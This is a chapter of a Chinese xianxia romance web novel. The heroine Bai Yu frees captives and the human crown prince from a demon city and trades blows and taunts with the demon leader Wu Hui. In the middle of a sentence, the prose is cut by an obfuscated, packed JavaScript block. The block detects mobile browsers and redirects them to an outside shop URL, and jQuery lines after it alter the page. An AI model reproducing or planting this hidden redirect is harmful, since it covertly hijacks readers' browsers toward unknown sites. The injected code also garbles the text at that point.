122. 秘密
作品:《回魂夜》 地下牢门前的那一番惊讶,白羽最终还是没能道出她想说的话。
褚观再次问起,白羽只说他长得像她的一位故人,因为实在太过相像,所以惊讶。
至于那位故人是谁,白羽却没有说。
地下牢笼没有向云来的身影,白羽顺着阵盘里记录的灵力波动继续向上找,她一路带着褚观隐藏身形来到高塔百层,这里的灵力波动最为强烈。
白羽猜测即使向云来没有被关在此处,那也应该是一个有点分量的仙门修士。
此处地形复杂,机关密道重重,白羽怕自己和褚观走散,用了一张特殊的连接符,将两人捆绑在一起。
如此一来,距离一下子拉近了。
白羽没有什么特殊反应,反倒是褚观,或许是第一次和女儿家靠这么近,又或者对方是白羽,他显得格外手足无措,欲言又止。
因为两人手臂相贴,褚观又一次走错了路,踩到了白羽的脚。
白羽垂眸看着自己靴面上那道浅浅的鞋印,褚观当然没敢用劲,刚碰到就收回脚。
白羽有些疑惑,“你怎么了?”
褚观沉默,实话实说有些惹人笑话,但不知为什么,他不想在她面前伪装。
实话自然而然道出:“白羽姑娘见笑了,是我的心跳有些乱。”
白羽讶然,心跳有些乱是什么意思?
是因为她吗?
她这么容易会让他的心乱起来吗?
“你先乱着吧。”白羽随意应付一句,继续追踪阵盘中的灵力来源。
褚观说完这句话,双耳从耳根处开始烧起。
他也反应过来对第一次见面的姑娘家说这种话,有些轻浮了,显得他这个人很孟浪,很不稳重。
他抿抿唇,有心想解释,却只怕越描越黑。
白羽很快就没心情在意褚观说过的话了,因为她终于发现了向云来。
她看到时候,正听到向云来的叫骂声:“你们这些阴沟里的臭虫,见不得人的渣滓,活不到明天的烂货,你们敢碰我就完蛋了,我娘一定会杀了你们的!还有青霄云宗掌门,他是个见异思迁的烂人,你们简直和他一样烂!白羽知道吗,她的修为可高了,你们从她手上抢走的我,她一定会诛杀你们到天涯海角的,你们会死得很难看!”
魔族士兵在一旁嘻嘻哈哈地笑着,根本就不把向云来的愤怒放在眼里。
向云来的情绪起伏越激烈,她所发出的灵力波动就会越强烈。
与此同时,魔族所吸取的阴暗情绪能量也会更多。
白羽怒了,真让他们用这种方法不断折磨向云来,什么时候人的情绪也能被轻易利用了?
她回头对褚观叮嘱一句:“抓紧了。”
随后身影迅速飞掠出去,一脚踢飞了那个用魔气侵蚀向云来心脉的魔族士兵。
向云来惊喜,“白羽,你来救我了!”
白羽弹指解开向云来身上的束缚,又转首一击击杀了此处空间的两个魔族。
她知道魔族身死,他们身体里的魔族力量会回溯给上一级魔族。
她来魔城的消息要不了多久就会传到无秽耳朵里。
那又如何?
打就是了,她未必没有一战之力。
总之必须完好无损地把所有人族百姓和仙门修士送出虚无之地。
“快走!”白羽拉起瘫坐在地上的向云来,一手褚观,一手向云来,拔腿就往外面跑。
一路上她见人就救,她身后跟随的队伍也在逐渐壮大,地牢中所有被关押的人族百姓与修士也都救出来了,他们一行人刚跑出高塔,身后追兵及至。
无秽出现在追兵中,他望着白羽露出极其阴戾的笑声。
“宣兰上仙,你终于来了。”
白羽头也不回,背手撒下一把符纸,炸得魔兵们满天飞,而无秽也根本没在意手下人的死活,仍对白羽紧追不舍。
身后魔兵箭矢如流星一般掠向奔命的白羽一行人,这些箭矢中都有魔气侵蚀。
若是被射中后得不到及时救治,轻则意识不清、走火入魔,重则灰飞烟灭,亡命于此。
无论是哪一种,都是他们不能接受的结果。
白羽不得不停下来和无秽对战,抵抗流星箭矢,为人族撑起一片天。
阵法结界铺开,所有向他们袭来的魔气箭矢都被一堵无形的气流墙挡住,无秽在阵外虎视眈眈,魔族士兵还在对他们放箭。
白羽让已经恢复一些力气的向云来带着其他人族百姓和仙门修士先走,最好找个地方躲起来,她留下断后。
向云来临危受命,郑重答应,她看白羽没有解开褚观的意思,便问:“太子不和我们一起走吗?”
白羽忙于应付无秽的攻击,眼睛没有看任何人,只是很自然地说:“我不放心把他交给别人,你们先走。”
向云来走前讶异地看了一眼人族太子褚观,心想这小子还真是好命,这么快就让白羽护上了。
随后带着所有人先行离开,留下白羽和褚观独自应对魔族。
褚观眼神震撼地望着白羽,这一刻他多么希望自己会错了意。
可是没有,他确确实实感受到了白羽对他的不一般。
这种不一般不是因为他的身份地位所致,她不是趋炎附势、攀附权贵之人,何况她也不需要。
那么是因为什么呢?
是了,这种特殊的感觉生出的时间正是她在地牢外看见他的长相,说他与自己的一位故人很相像的时候。
那就是因为那个人,白羽才对他特殊对待吗?
褚观不知,但是他心中空落落的,情绪落不到实处,胃里像是打翻一坛酿坏了的醋,又酸又涩。
白羽全然不知他的心路历程,一心一意和无秽对战。
她没想到无秽如今的战力竟然这么强了,上次实实在在的打斗没有天道参与是在幻境里,他被她削掉一边肩膀,可如今竟也能与她不分高下。
白羽打得吃力,带着褚观翻转腾挪,此地毕竟是魔族大本营,对无秽有天然优势。
白羽推测拖延的这段时间足以让向云来带着其他人躲起来,既然如此也没必要再和无秽继续耗下去。
她此行目的是为救人,想收拾他以后有的是时间。
白羽一边打一边退,回身对褚观轻声道:“我数三声,一起跑。”
“三、二、一,跑!”
白羽和褚观丢下阵法结界,转身就跑,等魔族众人攻破白羽的防护结界,一声炸响在原地爆开,魔族士兵被炸得四分五裂,两人早跑没影了。
徒留无秽在原地暴躁叫骂的声音,离很远都能听见。
白羽得意地笑出了声,她早就在阵法里藏了爆炸符,只要攻破阵法,符篆就会被引燃,威力不容小觑。
褚观眸色敬佩地看着白羽,知道能领队来魔城的修士不会是什么平凡角色,但是白羽的强大仍然给了他无与伦比的震撼。
魔族之人手段残忍,但修行诡术,几乎无坚不摧。
偏偏白羽能在他们最高首领的追捕下,带领众多被关押的百姓和修士成功逃脱。
并且一手符阵出神入化,反而让魔族吃了不小的亏。
如此见闻之下,褚观话语中带出信服,“白羽姑娘,我们接下来要去哪?”
白羽拉着褚观一路勇往直前,遇到拦路的零星魔兵,直接打散,按照早就定好的计划为他解惑。
“我们先找个僻静安全的地方躲起来,然后再联系其他仙门修士,看看他们一共救出多少人,最后大家会和,离开魔城。”
“好,都听姑娘的。”褚观道。
两人一路打杀,终于来到魔城最为核心的区域,此处距魔城高塔约有数百里之距,周围嶙峋山石与宫殿房屋阻挡,只能隐隐看见一个塔身伫立在夜空中。
“此处应该暂时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440589|190406||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安全了,我先联系青霄掌门他们。”
白羽掏出一张联络符,问木清风那边情况如何,问完又讲述了自己已经救出部分人族百姓和仙门修士,向云来和人族太子也一并救出来了。
要传述的话讲完,白羽引燃符纸,符灵将消息转达给远方的木清风。、
白羽又问了另一队去救人的修士队伍,在等回答的间隙中,她注意到前方十分浓重的迷雾。
雾气厚重得看不见里面是什么。
白羽心想,魔城里为什么会有这么大的雾,太不寻常了。
而且此处距高塔甚远,来到这一带附近也少有魔兵追踪,这里面一定藏了秘密。
正在白羽思索要不要冒险进去一探究竟时,追兵已至。
无秽带领着大批魔兵堵住了唯一的出路,他热情高涨道:“宣兰上仙,没想到你慌不择路之下会跑来这里,你逃不掉了。”
“这是什么地方?”白羽问。
“这里当然是魔族的禁区啊。”
禁区?
能叫这个名字恐怕不是什么好地方,白羽又问:“禁区是做什么用的?”
无秽笑得不怀好意,“你可以进去试试。”
反正他们魔族是没人赶进去的。
白羽冷笑就知道他没安什么好心,既然眼前无路,身后被堵,那就只有打出一条路了。
一张符纸夹在指尖,已在袖中蓄势待发,另一只手和褚观交握,将他拉来自己身边。
无秽看着两人交握的手掌,故技重施。
“宣兰上仙,艳福不浅啊,怎么每次与你对战身边总有佳人相伴,这次竟还是人族的太子,莫非你已经忘了你的道侣紫翎,他与上仙你可是数万年的感情,你如今在凡间历劫左拥右抱,让他听到了可要难受了。”
白羽能明显感觉到褚观的手温度骤降,甚至轻轻震颤了一下。
白羽一把握紧了,直接开口骂道:“关你何事?”
“自然是不关我的事,只是听说紫翎仙君在天界的日子可不好过,痛失爱侣,实权被夺,又被天帝忌惮,若再让他知道自己早已死去的道侣换了个身份在人界逍遥,恐怕也没什么活头了。”
无秽挑衅完哈哈大笑,似乎是预想到他口中所说的那个场面。
白羽没什么反应,无秽说的那些话又伤不到她,她都没见过真正的紫翎仙君,情绪自然不会为他波动。
她在意的是身边这个人的反应。
自从无秽揭开白羽的老底,褚观的状态就很奇怪,他的情绪时而低迷时而高亢,但是白羽一直握着他的手没有松开。
无秽没能成功激怒白羽也感到些许挫败,他又将矛头对准了褚观。
“太子,你可知道你身边的这个人是什么身份吗?”
“知又如何,不知又如何?”
“如何?”无秽似被褚观模棱两可的回答逗笑,笑罢摇头道:“你好天真啊太子,就让我好心告诉你吧。她是天界万年前早已牺牲的战神宣兰上仙,不知用了什么秘术转生成功,如今活着却不回天界复命,反而在人间逍遥自在,一世换一位伴侣,要知道她早年也是有三界见证合籍结契的道侣的,如今就这么轻易抛弃了。你若是因她救了你就暗许倾心,那你也没什么特殊的,迟早都会被抛弃,你做不了第一个,当然也不会是最后一个。”
无秽这一番话直接打散了褚观刚刚萌芽的慕艾之心。
白羽见状收手,她势必要给这个议人是非的长舌怪一点教训。
她和褚观几乎同时放手。
却在袖中偷袭的符纸即将出手时,猛然被人打断。
白羽惊诧,侧首去看褚观,他的手掌恢复温度,温暖柔和,带着她向前一步直面无秽的挑拨。
褚观说:“那又如何,既然白羽姑娘如此杰出,能与她相识一场,得她相救亦是孤的福气。遑论其他,若能陪在她身边,孤不会计较是什么身份。”

